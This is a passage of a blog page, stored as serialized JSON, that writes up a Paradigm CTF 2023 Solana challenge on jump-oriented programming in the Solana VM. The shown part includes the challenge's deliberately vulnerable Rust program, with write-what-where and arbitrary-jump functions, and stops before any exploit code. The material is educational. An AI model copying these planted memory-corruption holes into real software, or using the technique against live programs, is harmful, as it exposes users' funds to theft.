[{"data":1,"prerenderedAt":167837},["ShallowReactive",2],{"blog-/blog/2023-12-11-jumping-around-in-the-vm":3,"featured-blog-posts":5625},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":10,"image":13,"date":15,"isFeatured":16,"onBlogPage":16,"body":17,"_type":5619,"_id":5620,"_source":5621,"_file":5622,"_stem":5623,"_extension":5624},"/blog/2023-12-11-jumping-around-in-the-vm","blog",false,"","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[11,12],"nicola","robert",{"src":14},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",true,{"type":18,"children":19,"toc":5608},"root",[20,39,60,65,72,86,113,120,125,142,549,564,848,864,1509,1515,1520,1533,1541,1760,1768,2080,2088,2231,2239,2780,2786,2799,2812,2826,2831,3635,3640,3649,3654,3660,3672,3737,3742,3755,3768,3774,3803,4965,4978,5020,5025,5030,5044,5188,5209,5230,5237,5288,5296,5308,5321,5326,5450,5463,5566,5572,5585,5590,5602],{"type":21,"tag":22,"props":23,"children":24},"element","p",{},[25,28,37],{"type":26,"value":27},"text","In the world of CTFs, ",{"type":21,"tag":29,"props":30,"children":34},"a",{"href":31,"rel":32},"https://twitter.com/paradigm_ctf",[33],"nofollow",[35],{"type":26,"value":36},"Paradigm CTF 2023",{"type":26,"value":38}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":21,"tag":22,"props":40,"children":41},{},[42,44,51,53],{"type":26,"value":43},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":21,"tag":29,"props":45,"children":48},{"href":46,"rel":47},"https://osec.io/blog/2022-03-14-solana-security-intro",[33],[49],{"type":26,"value":50},"Solana: An Auditor's Introduction",{"type":26,"value":52}," and ",{"type":21,"tag":29,"props":54,"children":57},{"href":55,"rel":56},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[33],[58],{"type":26,"value":59},"Reverse Engineering Solana with Binary Ninja.\n",{"type":21,"tag":22,"props":61,"children":62},{},[63],{"type":26,"value":64},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":21,"tag":66,"props":67,"children":69},"h2",{"id":68},"overview",[70],{"type":26,"value":71},"Overview",{"type":21,"tag":22,"props":73,"children":74},{},[75,77,84],{"type":26,"value":76},"The challenge itself resides into ",{"type":21,"tag":78,"props":79,"children":81},"code",{"className":80},[],[82],{"type":26,"value":83},"framework/",{"type":26,"value":85},", and is composed of 2 parts:",{"type":21,"tag":87,"props":88,"children":89},"ul",{},[90,102],{"type":21,"tag":91,"props":92,"children":93},"li",{},[94,100],{"type":21,"tag":78,"props":95,"children":97},{"className":96},[],[98],{"type":26,"value":99},"framework/chall/lib.rs",{"type":26,"value":101},": The on-chain eBPF program that needs to be exploited.",{"type":21,"tag":91,"props":103,"children":104},{},[105,111],{"type":21,"tag":78,"props":106,"children":108},{"className":107},[],[109],{"type":26,"value":110},"framework/src/main.rs",{"type":26,"value":112},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":21,"tag":114,"props":115,"children":117},"h3",{"id":116},"vulnerable-program",[118],{"type":26,"value":119},"Vulnerable Program",{"type":21,"tag":22,"props":121,"children":122},{},[123],{"type":26,"value":124},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":21,"tag":126,"props":127,"children":128},"ol",{},[129],{"type":21,"tag":91,"props":130,"children":131},{},[132,134,140],{"type":26,"value":133},"If ",{"type":21,"tag":78,"props":135,"children":137},{"className":136},[],[138],{"type":26,"value":139},"data[0] == 0",{"type":26,"value":141}," a function that lets you write-what-where is executed",{"type":21,"tag":143,"props":144,"children":148},"pre",{"className":145,"code":146,"language":147,"meta":7,"style":7},"language-rust shiki shiki-themes slack-dark","#[inline(never)]\npub fn write(data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr.write_volatile(val);\n    }\n}\n","rust",[149],{"type":21,"tag":78,"props":150,"children":151},{"__ignoreMap":7},[152,164,223,237,380,499,531,540],{"type":21,"tag":153,"props":154,"children":157},"span",{"class":155,"line":156},"line",1,[158],{"type":21,"tag":153,"props":159,"children":161},{"style":160},"--shiki-default:#E6E6E6",[162],{"type":26,"value":163},"#[inline(never)]\n",{"type":21,"tag":153,"props":165,"children":167},{"class":155,"line":166},2,[168,174,179,185,190,196,202,207,212,218],{"type":21,"tag":153,"props":169,"children":171},{"style":170},"--shiki-default:#569CD6",[172],{"type":26,"value":173},"pub",{"type":21,"tag":153,"props":175,"children":176},{"style":170},[177],{"type":26,"value":178}," fn",{"type":21,"tag":153,"props":180,"children":182},{"style":181},"--shiki-default:#DCDCAA",[183],{"type":26,"value":184}," write",{"type":21,"tag":153,"props":186,"children":187},{"style":160},[188],{"type":26,"value":189},"(",{"type":21,"tag":153,"props":191,"children":193},{"style":192},"--shiki-default:#9CDCFE",[194],{"type":26,"value":195},"data",{"type":21,"tag":153,"props":197,"children":199},{"style":198},"--shiki-default:#D4D4D4",[200],{"type":26,"value":201},":",{"type":21,"tag":153,"props":203,"children":204},{"style":198},[205],{"type":26,"value":206}," &",{"type":21,"tag":153,"props":208,"children":209},{"style":160},[210],{"type":26,"value":211},"[",{"type":21,"tag":153,"props":213,"children":215},{"style":214},"--shiki-default:#4EC9B0",[216],{"type":26,"value":217},"u8",{"type":21,"tag":153,"props":219,"children":220},{"style":160},[221],{"type":26,"value":222},"]) {\n",{"type":21,"tag":153,"props":224,"children":226},{"class":155,"line":225},3,[227,232],{"type":21,"tag":153,"props":228,"children":229},{"style":170},[230],{"type":26,"value":231},"    unsafe",{"type":21,"tag":153,"props":233,"children":234},{"style":160},[235],{"type":26,"value":236}," {\n",{"type":21,"tag":153,"props":238,"children":240},{"class":155,"line":239},4,[241,246,251,256,261,266,271,275,280,284,289,293,298,304,309,314,319,324,329,333,337,342,346,351,356,361,366,370,375],{"type":21,"tag":153,"props":242,"children":243},{"style":170},[244],{"type":26,"value":245},"        let",{"type":21,"tag":153,"props":247,"children":248},{"style":192},[249],{"type":26,"value":250}," ptr",{"type":21,"tag":153,"props":252,"children":253},{"style":198},[254],{"type":26,"value":255}," =",{"type":21,"tag":153,"props":257,"children":258},{"style":160},[259],{"type":26,"value":260}," std",{"type":21,"tag":153,"props":262,"children":263},{"style":198},[264],{"type":26,"value":265},"::",{"type":21,"tag":153,"props":267,"children":268},{"style":160},[269],{"type":26,"value":270},"mem",{"type":21,"tag":153,"props":272,"children":273},{"style":198},[274],{"type":26,"value":265},{"type":21,"tag":153,"props":276,"children":277},{"style":181},[278],{"type":26,"value":279},"transmute",{"type":21,"tag":153,"props":281,"children":282},{"style":198},[283],{"type":26,"value":265},{"type":21,"tag":153,"props":285,"children":286},{"style":160},[287],{"type":26,"value":288},"\u003C[",{"type":21,"tag":153,"props":290,"children":291},{"style":214},[292],{"type":26,"value":217},{"type":21,"tag":153,"props":294,"children":295},{"style":160},[296],{"type":26,"value":297},"; ",{"type":21,"tag":153,"props":299,"children":301},{"style":300},"--shiki-default:#B5CEA8",[302],{"type":26,"value":303},"8",{"type":21,"tag":153,"props":305,"children":306},{"style":160},[307],{"type":26,"value":308},"], ",{"type":21,"tag":153,"props":310,"children":311},{"style":198},[312],{"type":26,"value":313},"*",{"type":21,"tag":153,"props":315,"children":316},{"style":170},[317],{"type":26,"value":318},"mut",{"type":21,"tag":153,"props":320,"children":321},{"style":214},[322],{"type":26,"value":323}," u64",{"type":21,"tag":153,"props":325,"children":326},{"style":160},[327],{"type":26,"value":328},">(",{"type":21,"tag":153,"props":330,"children":331},{"style":192},[332],{"type":26,"value":195},{"type":21,"tag":153,"props":334,"children":335},{"style":160},[336],{"type":26,"value":211},{"type":21,"tag":153,"props":338,"children":339},{"style":198},[340],{"type":26,"value":341},"..",{"type":21,"tag":153,"props":343,"children":344},{"style":300},[345],{"type":26,"value":303},{"type":21,"tag":153,"props":347,"children":348},{"style":160},[349],{"type":26,"value":350},"]",{"type":21,"tag":153,"props":352,"children":353},{"style":198},[354],{"type":26,"value":355},".",{"type":21,"tag":153,"props":357,"children":358},{"style":181},[359],{"type":26,"value":360},"try_into",{"type":21,"tag":153,"props":362,"children":363},{"style":160},[364],{"type":26,"value":365},"()",{"type":21,"tag":153,"props":367,"children":368},{"style":198},[369],{"type":26,"value":355},{"type":21,"tag":153,"props":371,"children":372},{"style":181},[373],{"type":26,"value":374},"unwrap",{"type":21,"tag":153,"props":376,"children":377},{"style":160},[378],{"type":26,"value":379},"());\n",{"type":21,"tag":153,"props":381,"children":383},{"class":155,"line":382},5,[384,388,393,397,401,405,409,413,417,421,425,429,433,437,441,446,450,454,458,462,466,471,475,479,483,487,491,495],{"type":21,"tag":153,"props":385,"children":386},{"style":170},[387],{"type":26,"value":245},{"type":21,"tag":153,"props":389,"children":390},{"style":192},[391],{"type":26,"value":392}," val",{"type":21,"tag":153,"props":394,"children":395},{"style":198},[396],{"type":26,"value":255},{"type":21,"tag":153,"props":398,"children":399},{"style":160},[400],{"type":26,"value":260},{"type":21,"tag":153,"props":402,"children":403},{"style":198},[404],{"type":26,"value":265},{"type":21,"tag":153,"props":406,"children":407},{"style":160},[408],{"type":26,"value":270},{"type":21,"tag":153,"props":410,"children":411},{"style":198},[412],{"type":26,"value":265},{"type":21,"tag":153,"props":414,"children":415},{"style":181},[416],{"type":26,"value":279},{"type":21,"tag":153,"props":418,"children":419},{"style":198},[420],{"type":26,"value":265},{"type":21,"tag":153,"props":422,"children":423},{"style":160},[424],{"type":26,"value":288},{"type":21,"tag":153,"props":426,"children":427},{"style":214},[428],{"type":26,"value":217},{"type":21,"tag":153,"props":430,"children":431},{"style":160},[432],{"type":26,"value":297},{"type":21,"tag":153,"props":434,"children":435},{"style":300},[436],{"type":26,"value":303},{"type":21,"tag":153,"props":438,"children":439},{"style":160},[440],{"type":26,"value":308},{"type":21,"tag":153,"props":442,"children":443},{"style":214},[444],{"type":26,"value":445},"u64",{"type":21,"tag":153,"props":447,"children":448},{"style":160},[449],{"type":26,"value":328},{"type":21,"tag":153,"props":451,"children":452},{"style":192},[453],{"type":26,"value":195},{"type":21,"tag":153,"props":455,"children":456},{"style":160},[457],{"type":26,"value":211},{"type":21,"tag":153,"props":459,"children":460},{"style":300},[461],{"type":26,"value":303},{"type":21,"tag":153,"props":463,"children":464},{"style":198},[465],{"type":26,"value":341},{"type":21,"tag":153,"props":467,"children":468},{"style":300},[469],{"type":26,"value":470},"16",{"type":21,"tag":153,"props":472,"children":473},{"style":160},[474],{"type":26,"value":350},{"type":21,"tag":153,"props":476,"children":477},{"style":198},[478],{"type":26,"value":355},{"type":21,"tag":153,"props":480,"children":481},{"style":181},[482],{"type":26,"value":360},{"type":21,"tag":153,"props":484,"children":485},{"style":160},[486],{"type":26,"value":365},{"type":21,"tag":153,"props":488,"children":489},{"style":198},[490],{"type":26,"value":355},{"type":21,"tag":153,"props":492,"children":493},{"style":181},[494],{"type":26,"value":374},{"type":21,"tag":153,"props":496,"children":497},{"style":160},[498],{"type":26,"value":379},{"type":21,"tag":153,"props":500,"children":502},{"class":155,"line":501},6,[503,508,512,517,521,526],{"type":21,"tag":153,"props":504,"children":505},{"style":192},[506],{"type":26,"value":507},"        ptr",{"type":21,"tag":153,"props":509,"children":510},{"style":198},[511],{"type":26,"value":355},{"type":21,"tag":153,"props":513,"children":514},{"style":181},[515],{"type":26,"value":516},"write_volatile",{"type":21,"tag":153,"props":518,"children":519},{"style":160},[520],{"type":26,"value":189},{"type":21,"tag":153,"props":522,"children":523},{"style":192},[524],{"type":26,"value":525},"val",{"type":21,"tag":153,"props":527,"children":528},{"style":160},[529],{"type":26,"value":530},");\n",{"type":21,"tag":153,"props":532,"children":534},{"class":155,"line":533},7,[535],{"type":21,"tag":153,"props":536,"children":537},{"style":160},[538],{"type":26,"value":539},"    }\n",{"type":21,"tag":153,"props":541,"children":543},{"class":155,"line":542},8,[544],{"type":21,"tag":153,"props":545,"children":546},{"style":160},[547],{"type":26,"value":548},"}\n",{"type":21,"tag":126,"props":550,"children":551},{"start":166},[552],{"type":21,"tag":91,"props":553,"children":554},{},[555,556,562],{"type":26,"value":133},{"type":21,"tag":78,"props":557,"children":559},{"className":558},[],[560],{"type":26,"value":561},"data[0] == 1",{"type":26,"value":563},", a CPI to a non-existent program is executed:",{"type":21,"tag":143,"props":565,"children":567},{"className":145,"code":566,"language":147,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n    let ix = Instruction {\n        program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n        data: data.try_into().unwrap(),\n        accounts: vec![]\n    };\n\n    invoke_signed_unchecked(\n        &ix,\n        &[],\n        &[],\n    ).unwrap();\n}\n",[568],{"type":21,"tag":78,"props":569,"children":570},{"__ignoreMap":7},[571,578,622,648,680,722,744,752,760,774,793,806,818,840],{"type":21,"tag":153,"props":572,"children":573},{"class":155,"line":156},[574],{"type":21,"tag":153,"props":575,"children":576},{"style":160},[577],{"type":26,"value":163},{"type":21,"tag":153,"props":579,"children":580},{"class":155,"line":166},[581,585,589,594,598,602,606,610,614,618],{"type":21,"tag":153,"props":582,"children":583},{"style":170},[584],{"type":26,"value":173},{"type":21,"tag":153,"props":586,"children":587},{"style":170},[588],{"type":26,"value":178},{"type":21,"tag":153,"props":590,"children":591},{"style":181},[592],{"type":26,"value":593}," call",{"type":21,"tag":153,"props":595,"children":596},{"style":160},[597],{"type":26,"value":189},{"type":21,"tag":153,"props":599,"children":600},{"style":192},[601],{"type":26,"value":195},{"type":21,"tag":153,"props":603,"children":604},{"style":198},[605],{"type":26,"value":201},{"type":21,"tag":153,"props":607,"children":608},{"style":198},[609],{"type":26,"value":206},{"type":21,"tag":153,"props":611,"children":612},{"style":160},[613],{"type":26,"value":211},{"type":21,"tag":153,"props":615,"children":616},{"style":214},[617],{"type":26,"value":217},{"type":21,"tag":153,"props":619,"children":620},{"style":160},[621],{"type":26,"value":222},{"type":21,"tag":153,"props":623,"children":624},{"class":155,"line":225},[625,630,635,639,644],{"type":21,"tag":153,"props":626,"children":627},{"style":170},[628],{"type":26,"value":629},"    let",{"type":21,"tag":153,"props":631,"children":632},{"style":192},[633],{"type":26,"value":634}," ix",{"type":21,"tag":153,"props":636,"children":637},{"style":198},[638],{"type":26,"value":255},{"type":21,"tag":153,"props":640,"children":641},{"style":214},[642],{"type":26,"value":643}," Instruction",{"type":21,"tag":153,"props":645,"children":646},{"style":160},[647],{"type":26,"value":236},{"type":21,"tag":153,"props":649,"children":650},{"class":155,"line":239},[651,656,660,665,669,675],{"type":21,"tag":153,"props":652,"children":653},{"style":192},[654],{"type":26,"value":655},"        program_id",{"type":21,"tag":153,"props":657,"children":658},{"style":198},[659],{"type":26,"value":201},{"type":21,"tag":153,"props":661,"children":662},{"style":181},[663],{"type":26,"value":664}," pubkey!",{"type":21,"tag":153,"props":666,"children":667},{"style":160},[668],{"type":26,"value":189},{"type":21,"tag":153,"props":670,"children":672},{"style":671},"--shiki-default:#CE9178",[673],{"type":26,"value":674},"\"osecio5555555555555551111111111111111111111\"",{"type":21,"tag":153,"props":676,"children":677},{"style":160},[678],{"type":26,"value":679},"),\n",{"type":21,"tag":153,"props":681,"children":682},{"class":155,"line":382},[683,688,692,697,701,705,709,713,717],{"type":21,"tag":153,"props":684,"children":685},{"style":192},[686],{"type":26,"value":687},"        data",{"type":21,"tag":153,"props":689,"children":690},{"style":198},[691],{"type":26,"value":201},{"type":21,"tag":153,"props":693,"children":694},{"style":192},[695],{"type":26,"value":696}," data",{"type":21,"tag":153,"props":698,"children":699},{"style":198},[700],{"type":26,"value":355},{"type":21,"tag":153,"props":702,"children":703},{"style":181},[704],{"type":26,"value":360},{"type":21,"tag":153,"props":706,"children":707},{"style":160},[708],{"type":26,"value":365},{"type":21,"tag":153,"props":710,"children":711},{"style":198},[712],{"type":26,"value":355},{"type":21,"tag":153,"props":714,"children":715},{"style":181},[716],{"type":26,"value":374},{"type":21,"tag":153,"props":718,"children":719},{"style":160},[720],{"type":26,"value":721},"(),\n",{"type":21,"tag":153,"props":723,"children":724},{"class":155,"line":501},[725,730,734,739],{"type":21,"tag":153,"props":726,"children":727},{"style":192},[728],{"type":26,"value":729},"        accounts",{"type":21,"tag":153,"props":731,"children":732},{"style":198},[733],{"type":26,"value":201},{"type":21,"tag":153,"props":735,"children":736},{"style":181},[737],{"type":26,"value":738}," vec!",{"type":21,"tag":153,"props":740,"children":741},{"style":160},[742],{"type":26,"value":743},"[]\n",{"type":21,"tag":153,"props":745,"children":746},{"class":155,"line":533},[747],{"type":21,"tag":153,"props":748,"children":749},{"style":160},[750],{"type":26,"value":751},"    };\n",{"type":21,"tag":153,"props":753,"children":754},{"class":155,"line":542},[755],{"type":21,"tag":153,"props":756,"children":757},{"emptyLinePlaceholder":16},[758],{"type":26,"value":759},"\n",{"type":21,"tag":153,"props":761,"children":763},{"class":155,"line":762},9,[764,769],{"type":21,"tag":153,"props":765,"children":766},{"style":181},[767],{"type":26,"value":768},"    invoke_signed_unchecked",{"type":21,"tag":153,"props":770,"children":771},{"style":160},[772],{"type":26,"value":773},"(\n",{"type":21,"tag":153,"props":775,"children":777},{"class":155,"line":776},10,[778,783,788],{"type":21,"tag":153,"props":779,"children":780},{"style":198},[781],{"type":26,"value":782},"        &",{"type":21,"tag":153,"props":784,"children":785},{"style":192},[786],{"type":26,"value":787},"ix",{"type":21,"tag":153,"props":789,"children":790},{"style":160},[791],{"type":26,"value":792},",\n",{"type":21,"tag":153,"props":794,"children":796},{"class":155,"line":795},11,[797,801],{"type":21,"tag":153,"props":798,"children":799},{"style":198},[800],{"type":26,"value":782},{"type":21,"tag":153,"props":802,"children":803},{"style":160},[804],{"type":26,"value":805},"[],\n",{"type":21,"tag":153,"props":807,"children":809},{"class":155,"line":808},12,[810,814],{"type":21,"tag":153,"props":811,"children":812},{"style":198},[813],{"type":26,"value":782},{"type":21,"tag":153,"props":815,"children":816},{"style":160},[817],{"type":26,"value":805},{"type":21,"tag":153,"props":819,"children":821},{"class":155,"line":820},13,[822,827,831,835],{"type":21,"tag":153,"props":823,"children":824},{"style":160},[825],{"type":26,"value":826},"    )",{"type":21,"tag":153,"props":828,"children":829},{"style":198},[830],{"type":26,"value":355},{"type":21,"tag":153,"props":832,"children":833},{"style":181},[834],{"type":26,"value":374},{"type":21,"tag":153,"props":836,"children":837},{"style":160},[838],{"type":26,"value":839},"();\n",{"type":21,"tag":153,"props":841,"children":843},{"class":155,"line":842},14,[844],{"type":21,"tag":153,"props":845,"children":846},{"style":160},[847],{"type":26,"value":548},{"type":21,"tag":126,"props":849,"children":850},{"start":225},[851],{"type":21,"tag":91,"props":852,"children":853},{},[854,856,862],{"type":26,"value":855},"Finally, if ",{"type":21,"tag":78,"props":857,"children":859},{"className":858},[],[860],{"type":26,"value":861},"data[0]",{"type":26,"value":863}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":21,"tag":143,"props":865,"children":867},{"className":145,"code":866,"language":147,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n\n        data = &data[16..];\n\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n    }\n}\n",[868],{"type":21,"tag":78,"props":869,"children":870},{"__ignoreMap":7},[871,878,926,937,1058,1173,1192,1199,1235,1242,1361,1476,1495,1502],{"type":21,"tag":153,"props":872,"children":873},{"class":155,"line":156},[874],{"type":21,"tag":153,"props":875,"children":876},{"style":160},[877],{"type":26,"value":163},{"type":21,"tag":153,"props":879,"children":880},{"class":155,"line":166},[881,885,889,894,898,902,906,910,914,918,922],{"type":21,"tag":153,"props":882,"children":883},{"style":170},[884],{"type":26,"value":173},{"type":21,"tag":153,"props":886,"children":887},{"style":170},[888],{"type":26,"value":178},{"type":21,"tag":153,"props":890,"children":891},{"style":181},[892],{"type":26,"value":893}," process",{"type":21,"tag":153,"props":895,"children":896},{"style":160},[897],{"type":26,"value":189},{"type":21,"tag":153,"props":899,"children":900},{"style":170},[901],{"type":26,"value":318},{"type":21,"tag":153,"props":903,"children":904},{"style":192},[905],{"type":26,"value":696},{"type":21,"tag":153,"props":907,"children":908},{"style":198},[909],{"type":26,"value":201},{"type":21,"tag":153,"props":911,"children":912},{"style":198},[913],{"type":26,"value":206},{"type":21,"tag":153,"props":915,"children":916},{"style":160},[917],{"type":26,"value":211},{"type":21,"tag":153,"props":919,"children":920},{"style":214},[921],{"type":26,"value":217},{"type":21,"tag":153,"props":923,"children":924},{"style":160},[925],{"type":26,"value":222},{"type":21,"tag":153,"props":927,"children":928},{"class":155,"line":225},[929,933],{"type":21,"tag":153,"props":930,"children":931},{"style":170},[932],{"type":26,"value":231},{"type":21,"tag":153,"props":934,"children":935},{"style":160},[936],{"type":26,"value":236},{"type":21,"tag":153,"props":938,"children":939},{"class":155,"line":239},[940,944,948,952,956,960,964,968,972,976,980,984,988,992,996,1001,1005,1009,1014,1018,1022,1026,1030,1034,1038,1042,1046,1050,1054],{"type":21,"tag":153,"props":941,"children":942},{"style":170},[943],{"type":26,"value":245},{"type":21,"tag":153,"props":945,"children":946},{"style":192},[947],{"type":26,"value":250},{"type":21,"tag":153,"props":949,"children":950},{"style":198},[951],{"type":26,"value":255},{"type":21,"tag":153,"props":953,"children":954},{"style":160},[955],{"type":26,"value":260},{"type":21,"tag":153,"props":957,"children":958},{"style":198},[959],{"type":26,"value":265},{"type":21,"tag":153,"props":961,"children":962},{"style":160},[963],{"type":26,"value":270},{"type":21,"tag":153,"props":965,"children":966},{"style":198},[967],{"type":26,"value":265},{"type":21,"tag":153,"props":969,"children":970},{"style":181},[971],{"type":26,"value":279},{"type":21,"tag":153,"props":973,"children":974},{"style":198},[975],{"type":26,"value":265},{"type":21,"tag":153,"props":977,"children":978},{"style":160},[979],{"type":26,"value":288},{"type":21,"tag":153,"props":981,"children":982},{"style":214},[983],{"type":26,"value":217},{"type":21,"tag":153,"props":985,"children":986},{"style":160},[987],{"type":26,"value":297},{"type":21,"tag":153,"props":989,"children":990},{"style":300},[991],{"type":26,"value":303},{"type":21,"tag":153,"props":993,"children":994},{"style":160},[995],{"type":26,"value":308},{"type":21,"tag":153,"props":997,"children":998},{"style":170},[999],{"type":26,"value":1000},"fn",{"type":21,"tag":153,"props":1002,"children":1003},{"style":160},[1004],{"type":26,"value":189},{"type":21,"tag":153,"props":1006,"children":1007},{"style":214},[1008],{"type":26,"value":445},{"type":21,"tag":153,"props":1010,"children":1011},{"style":160},[1012],{"type":26,"value":1013},")>(",{"type":21,"tag":153,"props":1015,"children":1016},{"style":192},[1017],{"type":26,"value":195},{"type":21,"tag":153,"props":1019,"children":1020},{"style":160},[1021],{"type":26,"value":211},{"type":21,"tag":153,"props":1023,"children":1024},{"style":198},[1025],{"type":26,"value":341},{"type":21,"tag":153,"props":1027,"children":1028},{"style":300},[1029],{"type":26,"value":303},{"type":21,"tag":153,"props":1031,"children":1032},{"style":160},[1033],{"type":26,"value":350},{"type":21,"tag":153,"props":1035,"children":1036},{"style":198},[1037],{"type":26,"value":355},{"type":21,"tag":153,"props":1039,"children":1040},{"style":181},[1041],{"type":26,"value":360},{"type":21,"tag":153,"props":1043,"children":1044},{"style":160},[1045],{"type":26,"value":365},{"type":21,"tag":153,"props":1047,"children":1048},{"style":198},[1049],{"type":26,"value":355},{"type":21,"tag":153,"props":1051,"children":1052},{"style":181},[1053],{"type":26,"value":374},{"type":21,"tag":153,"props":1055,"children":1056},{"style":160},[1057],{"type":26,"value":379},{"type":21,"tag":153,"props":1059,"children":1060},{"class":155,"line":382},[1061,1065,1069,1073,1077,1081,1085,1089,1093,1097,1101,1105,1109,1113,1117,1121,1125,1129,1133,1137,1141,1145,1149,1153,1157,1161,1165,1169],{"type":21,"tag":153,"props":1062,"children":1063},{"style":170},[1064],{"type":26,"value":245},{"type":21,"tag":153,"props":1066,"children":1067},{"style":192},[1068],{"type":26,"value":392},{"type":21,"tag":153,"props":1070,"children":1071},{"style":198},[1072],{"type":26,"value":255},{"type":21,"tag":153,"props":1074,"children":1075},{"style":160},[1076],{"type":26,"value":260},{"type":21,"tag":153,"props":1078,"children":1079},{"style":198},[1080],{"type":26,"value":265},{"type":21,"tag":153,"props":1082,"children":1083},{"style":160},[1084],{"type":26,"value":270},{"type":21,"tag":153,"props":1086,"children":1087},{"style":198},[1088],{"type":26,"value":265},{"type":21,"tag":153,"props":1090,"children":1091},{"style":181},[1092],{"type":26,"value":279},{"type":21,"tag":153,"props":1094,"children":1095},{"style":198},[1096],{"type":26,"value":265},{"type":21,"tag":153,"props":1098,"children":1099},{"style":160},[1100],{"type":26,"value":288},{"type":21,"tag":153,"props":1102,"children":1103},{"style":214},[1104],{"type":26,"value":217},{"type":21,"tag":153,"props":1106,"children":1107},{"style":160},[1108],{"type":26,"value":297},{"type":21,"tag":153,"props":1110,"children":1111},{"style":300},[1112],{"type":26,"value":303},{"type":21,"tag":153,"props":1114,"children":1115},{"style":160},[1116],{"type":26,"value":308},{"type":21,"tag":153,"props":1118,"children":1119},{"style":214},[1120],{"type":26,"value":445},{"type":21,"tag":153,"props":1122,"children":1123},{"style":160},[1124],{"type":26,"value":328},{"type":21,"tag":153,"props":1126,"children":1127},{"style":192},[1128],{"type":26,"value":195},{"type":21,"tag":153,"props":1130,"children":1131},{"style":160},[1132],{"type":26,"value":211},{"type":21,"tag":153,"props":1134,"children":1135},{"style":300},[1136],{"type":26,"value":303},{"type":21,"tag":153,"props":1138,"children":1139},{"style":198},[1140],{"type":26,"value":341},{"type":21,"tag":153,"props":1142,"children":1143},{"style":300},[1144],{"type":26,"value":470},{"type":21,"tag":153,"props":1146,"children":1147},{"style":160},[1148],{"type":26,"value":350},{"type":21,"tag":153,"props":1150,"children":1151},{"style":198},[1152],{"type":26,"value":355},{"type":21,"tag":153,"props":1154,"children":1155},{"style":181},[1156],{"type":26,"value":360},{"type":21,"tag":153,"props":1158,"children":1159},{"style":160},[1160],{"type":26,"value":365},{"type":21,"tag":153,"props":1162,"children":1163},{"style":198},[1164],{"type":26,"value":355},{"type":21,"tag":153,"props":1166,"children":1167},{"style":181},[1168],{"type":26,"value":374},{"type":21,"tag":153,"props":1170,"children":1171},{"style":160},[1172],{"type":26,"value":379},{"type":21,"tag":153,"props":1174,"children":1175},{"class":155,"line":501},[1176,1180,1184,1188],{"type":21,"tag":153,"props":1177,"children":1178},{"style":181},[1179],{"type":26,"value":507},{"type":21,"tag":153,"props":1181,"children":1182},{"style":160},[1183],{"type":26,"value":189},{"type":21,"tag":153,"props":1185,"children":1186},{"style":192},[1187],{"type":26,"value":525},{"type":21,"tag":153,"props":1189,"children":1190},{"style":160},[1191],{"type":26,"value":530},{"type":21,"tag":153,"props":1193,"children":1194},{"class":155,"line":533},[1195],{"type":21,"tag":153,"props":1196,"children":1197},{"emptyLinePlaceholder":16},[1198],{"type":26,"value":759},{"type":21,"tag":153,"props":1200,"children":1201},{"class":155,"line":542},[1202,1206,1210,1214,1218,1222,1226,1230],{"type":21,"tag":153,"props":1203,"children":1204},{"style":192},[1205],{"type":26,"value":687},{"type":21,"tag":153,"props":1207,"children":1208},{"style":198},[1209],{"type":26,"value":255},{"type":21,"tag":153,"props":1211,"children":1212},{"style":198},[1213],{"type":26,"value":206},{"type":21,"tag":153,"props":1215,"children":1216},{"style":192},[1217],{"type":26,"value":195},{"type":21,"tag":153,"props":1219,"children":1220},{"style":160},[1221],{"type":26,"value":211},{"type":21,"tag":153,"props":1223,"children":1224},{"style":300},[1225],{"type":26,"value":470},{"type":21,"tag":153,"props":1227,"children":1228},{"style":198},[1229],{"type":26,"value":341},{"type":21,"tag":153,"props":1231,"children":1232},{"style":160},[1233],{"type":26,"value":1234},"];\n",{"type":21,"tag":153,"props":1236,"children":1237},{"class":155,"line":762},[1238],{"type":21,"tag":153,"props":1239,"children":1240},{"emptyLinePlaceholder":16},[1241],{"type":26,"value":759},{"type":21,"tag":153,"props":1243,"children":1244},{"class":155,"line":776},[1245,1249,1253,1257,1261,1265,1269,1273,1277,1281,1285,1289,1293,1297,1301,1305,1309,1313,1317,1321,1325,1329,1333,1337,1341,1345,1349,1353,1357],{"type":21,"tag":153,"props":1246,"children":1247},{"style":170},[1248],{"type":26,"value":245},{"type":21,"tag":153,"props":1250,"children":1251},{"style":192},[1252],{"type":26,"value":250},{"type":21,"tag":153,"props":1254,"children":1255},{"style":198},[1256],{"type":26,"value":255},{"type":21,"tag":153,"props":1258,"children":1259},{"style":160},[1260],{"type":26,"value":260},{"type":21,"tag":153,"props":1262,"children":1263},{"style":198},[1264],{"type":26,"value":265},{"type":21,"tag":153,"props":1266,"children":1267},{"style":160},[1268],{"type":26,"value":270},{"type":21,"tag":153,"props":1270,"children":1271},{"style":198},[1272],{"type":26,"value":265},{"type":21,"tag":153,"props":1274,"children":1275},{"style":181},[1276],{"type":26,"value":279},{"type":21,"ta